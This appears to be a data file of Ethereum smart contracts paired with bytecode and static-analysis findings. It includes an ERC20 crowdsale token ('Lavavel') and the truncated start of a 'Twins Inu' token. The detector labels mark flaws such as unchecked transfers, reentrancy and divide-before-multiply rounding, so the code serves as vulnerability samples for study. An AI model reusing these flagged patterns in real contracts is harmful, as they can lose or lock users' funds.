561104757600080fd5b5050565b600054600160a060020a031681565b600081815260066020526040902060080154610100900460ff16151561107f57600080fd5b60008181526006602052604090206008015460ff161561109e57600080fd5b600081815260066020526040902054600160a060020a031633146110c157600080fd5b6000818152600660208190526040909120015442116110df57600080fd5b60008181526006602090815260408083206001810154815460029092015483517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0393841660048201526024810191909152925191169363a9059cbb93604480850194919392918390030190829087803b15801561116557600080fd5b505af1158015611179573d6000803e3d6000fd5b505050506040513d602081101561118f57600080fd5b5051151561119c57600080fd5b6040805182815290517fbea0e66c2d42b9131695ceea7d1aaa21b37e93070cde19c9b5fbd686a32592929181900360200190a150565b60056020526000908152604090205460ff1681565b600082815260066020526040902060080154610100900460ff16151561120c57600080fd5b60008281526006602052604090206008015460ff161561122b57600080fd5b600082815260066020526040902054600160a060020a0316331461124e57600080fd5b60008281526006602081905260409091200154421161126c57600080fd5b6000828152600660209081526040808320600181015460029091015482517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a0387811660048301526024820192909252925191169363095ea7b393604480850194919392918390030190829087803b1580156112f057600080fd5b505af1158015611304573d6000803e3d6000fd5b505050506040513d602081101561131a57600080fd5b5051151561132757600080fd5b600082815260066020908152604080832060018101546002820154600383015460049384015485517fb783508c000000000000000000000000000000000000000000000000000000008152600160a060020a039485169581019590955260248501929092526044840152606483015291519185169363b783508c9360848084019491939192918390030190829087803b1580156113c357600080fd5b505af11580156113d7573d6000803e3d6000fd5b505050506040513d60208110156113ed57600080fd5b5051151561104757600080fd5b600160a060020a03811660009081526008602090815260409182902080548351818402810184019094528084526060939283018282801561145a57602002820191906000526020600020905b815481526020019060010190808311611446575b50505050509050919050565b61146f336109da565b151561147a57600080fd5b600e55565b600083815260066020526040902060080154610100900460ff1615156114a457600080fd5b60008381526006602052604090206008015460ff16156114c357600080fd5b600083815260066020526040902054600160a060020a031633146114e657600080fd5b60008381526006602081905260409091200154421161150457600080fd5b6000838152600660208181526040928390206003810186905542603c86020160048201819055600a5401920191909155815185815291517f4026f0fcda522fa75132cf30fa90ee1dd7890120be3ce3ec5cf9f78694b5946a9281900390910190a1505050565b6000818152600660205260408120600801548190610100900460ff16151561159157600080fd5b60008381526006602052604090206008015460ff16156115b057600080fd5b600083815260066020819052604090912001544211156115cf57600080fd5b600083815260066020526040902060050154600160a060020a031633146115f557600080fd5b60008381526006602090815260408083206007015460025482517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018390529251919650600160a060020a0316936323b872dd93606480850194919392918390030190829087803b15801561167a57600080fd5b505af115801561168e573d6000803e3d6000fd5b505050506040513d60208110156116a457600080fd5b505115156116b157600080fd5b6000838152600660205260409020546116d290600160a060020a0316610cbd565b151561170d576116e482600b54611d36565b600c5490915061170a906116fe848463ffffffff611d6816565b9063ffffffff611d6816565b91505b60025460008481526006602090815260408083205481517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03918216600482015260248101889052915194169363a9059cbb93604480840194938390030190829087803b15801561178657600080fd5b505af115801561179a573d6000803e3d6000fd5b505050506040513d60208110156117b057600080fd5b505060008381526006602090815260408083206001810154600582015460029092015483517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0393841660048201526024810191909152925191169363a9059cbb93604480850194919392918390030190829087803b15801561183b57600080fd5b505af115801561184f573d6000803e3d6000fd5b505050506040513d602081101561186557600080fd5b5051151561187257600080fd5b600083815260066020908152604091829020600801805460ff191660011790558151858152339181019190915281517fe845626ba2a08ab4c2056f4bc64b91bcbe039c8c7fc3e7def11408870cf5409c929181900390910190a1505050565b6118da336109da565b15156118e557600080fd5b600160a060020a03811615156118fa57600080fd5b600160a060020a038116600081815260046020526040808220805460ff19166001179055517ff8d5f40934646cedded2cab1b5960f020db583f154fabcf831277b87d1803d139190a250565b600760209081526000928352604080842090915290825290205481565b600054600160a060020a0316331461197a57600080fd5b600160a060020a038116151561198f57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b611a00336109da565b1515611a0b57600080fd5b600b55565b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a0387811660048301523060248301526044820186905291516000928716916323b872dd91606480830192602092919082900301818787803b158015611a8257600080fd5b505af1158015611a96573d6000803e3d6000fd5b505050506040513d6020811015611aac57600080fd5b50511515611ab957600080fd5b6101406040519081016040528087600160a060020a0316815260200186600160a060020a0316815260200185815260200184815260200183603c02420181526020016000600160a060020a03168152602001600a5484603c024201018152602001600081526020016000151581526020016001151581525060066000600960008154600101919050819055815260200190815260200160002060008201518160000160006101000a815481600160a060020a030219169083600160a060020a0316021790555060208201518160010160006101000a815481600160a060020a030219169083600160a060020a0316021790555060408201518160020155606082015181600301556080820151816004015560a08201518160050160006101000a815481600160a060020a030219169083600160a060020a0316021790555060c0820151816006015560e082015181600701556101008201518160080160006101000a81548160ff0219169083151502179055506101208201518160080160016101000a81548160ff0219169083151502179055509050506009546007600087600160a060020a0316600160a060020a031681526020019081526020016000206000868152602001908152602001600020819055506008600087600160a060020a0316600160a060020a03168152602001908152602001600020600954908060018154018082558091505090600182039060005260206000200160009091929091909150555085600160a060020a03167fc078426956212265671526c1abdaea1311badbf1505fe0711db77bca2fa9afae85600954604051808381526020018281526020019250505060405180910390a25060095495945050505050565b600080611d5b612710611d4f868663ffffffff611d7a16565b9063ffffffff611dac16565b90508091505b5092915050565b600082821115611d7457fe5b50900390565b600080831515611d8d5760009150611d61565b50828202828482811515611d9d57fe5b0414611da557fe5b9392505050565b6000808284811515611dba57fe5b049493505050505600a165627a7a72305820dada6c82eb83443b2b740bb0f70cab41192ffa21613e714c669bc71f1b8979cf0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "erc721-interface", "impact": "Medium", "confidence": "High"}]}}
8,323
0x9922d178dfeed0c19618a2a9bac8810e37f02909
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. **/ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. **/ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). **/ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. **/ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". **/ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender account. **/ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. **/ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. **/ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic interface * @dev Basic ERC20 interface **/ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 **/ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. **/ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence **/ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. **/ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. **/ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred **/ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. **/ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. **/ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. **/ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. **/ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Configurable * @dev Configurable varriables of the contract **/ contract Configurable { uint256 public constant cap = 1000000*10**18; uint256 public constant basePrice = 100*10**18; // tokens per 1 ether uint256 public tokensSold = 0; uint256 public constant tokenReserve = 1000000*10**18; uint256 public remainingTokens = 0; } /** * @title CrowdsaleToken * @dev Contract to preform crowd sale with token **/ contract CrowdsaleToken is StandardToken, Configurable, Ownable { /** * @dev enum of current crowd sale state **/ enum Stages { none, icoStart, icoEnd } Stages currentStage; /** * @dev constructor of CrowdsaleToken **/ constructor() public { currentStage = Stages.none; balances[owner] = balances[owner].add(tokenReserve); totalSupply_ = totalSupply_.add(tokenReserve); remainingTokens = cap; emit Transfer(address(this), owner, tokenReserve); } /** * @dev fallback function to send ether to for Crowd sale **/ function () public payable { require(currentStage == Stages.icoStart); require(msg.value > 0); require(remainingTokens > 0); uint256 weiAmount = msg.value; // Calculate tokens to sell uint256 tokens = weiAmount.mul(basePrice).div(1 ether); uint256 returnWei = 0; if(tokensSold.add(tokens) > cap){ uint256 newTokens = cap.sub(tokensSold); uint256 newWei = newTokens.div(basePrice).mul(1 ether); returnWei = weiAmount.sub(newWei); weiAmount = newWei; tokens = newTokens; } tokensSold = tokensSold.add(tokens); // Increment raised amount remainingTokens = cap.sub(tokensSold); if(returnWei > 0){ msg.sender.transfer(returnWei); emit Transfer(address(this), msg.sender, returnWei); } balances[msg.sender] = balances[msg.sender].add(tokens); emit Transfer(address(this), msg.sender, tokens); totalSupply_ = totalSupply_.add(tokens); owner.transfer(weiAmount);// Send money to owner } /** * @dev startIco starts the public ICO **/ function startIco() public onlyOwner { require(currentStage != Stages.icoEnd); currentStage = Stages.icoStart; } /** * @dev endIco closes down the ICO **/ function endIco() internal { currentStage = Stages.icoEnd; // Transfer any remaining tokens if(remainingTokens > 0) balances[owner] = balances[owner].add(remainingTokens); // transfer any remaining ETH balance in the contract to the owner owner.transfer(address(this).balance); } /** * @dev finalizeIco closes down the ICO and sets needed varriables **/ function finalizeIco() public onlyOwner { require(currentStage != Stages.icoEnd); endIco(); } } /** * @title LavevelToken * @dev Contract to create the Lavevel Token **/ contract LavevelToken is CrowdsaleToken { string public constant name = "Lavavel"; string public constant symbol = "LVL"; uint32 public constant decimals = 18; }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146104c1578063095ea7b31461055157806318160ddd146105b657806323b872dd146105e1578063313ce56714610666578063355274ea1461069d578063518ab2a8146106c857806366188463146106f357806370a082311461075857806389311e6f146107af5780638da5cb5b146107c6578063903a3ef61461081d57806395d89b4114610834578063a9059cbb146108c4578063bf58390314610929578063c7876ea414610954578063cbcb31711461097f578063d73dd623146109aa578063dd62ed3e14610a0f578063f2fde38b14610a86575b60008060008060006001600281111561012757fe5b600560149054906101000a900460ff16600281111561014257fe5b14151561014e57600080fd5b60003411151561015d57600080fd5b600060045411151561016e57600080fd5b3494506101a7670de0b6b3a764000061019968056bc75e2d6310000088610ac990919063ffffffff16565b610b0190919063ffffffff16565b93506000925069d3c21bcecceda10000006101cd85600354610b1790919063ffffffff16565b1115610248576101f260035469d3c21bcecceda1000000610b3390919063ffffffff16565b915061022a670de0b6b3a764000061021c68056bc75e2d6310000085610b0190919063ffffffff16565b610ac990919063ffffffff16565b905061023f8186610b3390919063ffffffff16565b92508094508193505b61025d84600354610b1790919063ffffffff16565b60038190555061028260035469d3c21bcecceda1000000610b3390919063ffffffff16565b600481905550600083111561033e573373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156102d7573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b61038f846000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361044b84600154610b1790919063ffffffff16565b600181905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f193505050501580156104b9573d6000803e3d6000fd5b505050505050005b3480156104cd57600080fd5b506104d6610b4c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105165780820151818401526020810190506104fb565b50505050905090810190601f1680156105435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561055d57600080fd5b5061059c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b85565b604051808215151515815260200191505060405180910390f35b3480156105c257600080fd5b506105cb610c77565b6040518082815260200191505060405180910390f35b3480156105ed57600080fd5b5061064c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c81565b604051808215151515815260200191505060405180910390f35b34801561067257600080fd5b5061067b61103b565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b3480156106a957600080fd5b506106b2611040565b6040518082815260200191505060405180910390f35b3480156106d457600080fd5b506106dd61104e565b6040518082815260200191505060405180910390f35b3480156106ff57600080fd5b5061073e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611054565b604051808215151515815260200191505060405180910390f35b34801561076457600080fd5b50610799600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e5565b6040518082815260200191505060405180910390f35b3480156107bb57600080fd5b506107c461132d565b005b3480156107d257600080fd5b506107db6113e3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561082957600080fd5b50610832611409565b005b34801561084057600080fd5b506108496114a3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561088957808201518184015260208101905061086e565b50505050905090810190601f1680156108b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108d057600080fd5b5061090f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114dc565b604051808215151515815260200191505060405180910390f35b34801561093557600080fd5b5061093e6116fb565b6040518082815260200191505060405180910390f35b34801561096057600080fd5b50610969611701565b6040518082815260200191505060405180910390f35b34801561098b57600080fd5b5061099461170e565b6040518082815260200191505060405180910390f35b3480156109b657600080fd5b506109f5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061171c565b604051808215151515815260200191505060405180910390f35b348015610a1b57600080fd5b50610a70600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611918565b6040518082815260200191505060405180910390f35b348015610a9257600080fd5b50610ac7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061199f565b005b600080831415610adc5760009050610afb565b8183029050818382811515610aed57fe5b04141515610af757fe5b8090505b92915050565b60008183811515610b0e57fe5b04905092915050565b60008183019050828110151515610b2a57fe5b80905092915050565b6000828211151515610b4157fe5b818303905092915050565b6040805190810160405280600781526020017f4c61766176656c0000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610cbe57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d0b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d9657600080fd5b610de7826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b3390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f4b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b3390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b69d3c21bcecceda100000081565b60035481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611165576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9565b6111788382610b3390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138957600080fd5b60028081111561139557fe5b600560149054906101000a900460ff1660028111156113b057fe5b141515156113bd57600080fd5b6001600560146101000a81548160ff021916908360028111156113dc57fe5b0217905550565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561146557600080fd5b60028081111561147157fe5b600560149054906101000a900460ff16600281111561148c57fe5b1415151561149957600080fd5b6114a1611af7565b565b6040805190810160405280600381526020017f4c564c000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561151957600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561156657600080fd5b6115b7826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b3390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061164a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60045481565b68056bc75e2d6310000081565b69d3c21bcecceda100000081565b60006117ad82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119fb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a3757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6002600560146101000a81548160ff02191690836002811115611b1657fe5b021790555060006004541115611c0057611b9b600454600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1790919063ffffffff16565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611c7f573d6000803e3d6000fd5b505600a165627a7a72305820c64f87d8d7068d15da8b88277dbaf70fde7c728e4e7a49e994345d1daeb49f790029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
8,324
0x01e7e52aba28a0f61cc053c544efe943e5b43954
/** *Submitted for verification at Etherscan.io on 2021-06-25 */ //Twins Inu ($TWINS) //Powerful Bot Protect yes //2% Deflationary yes //Telegram: https://t.me/twins_inu_official //Rewards for every 100th buyers // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TwinsInu is Context, IERC20, Ownable { 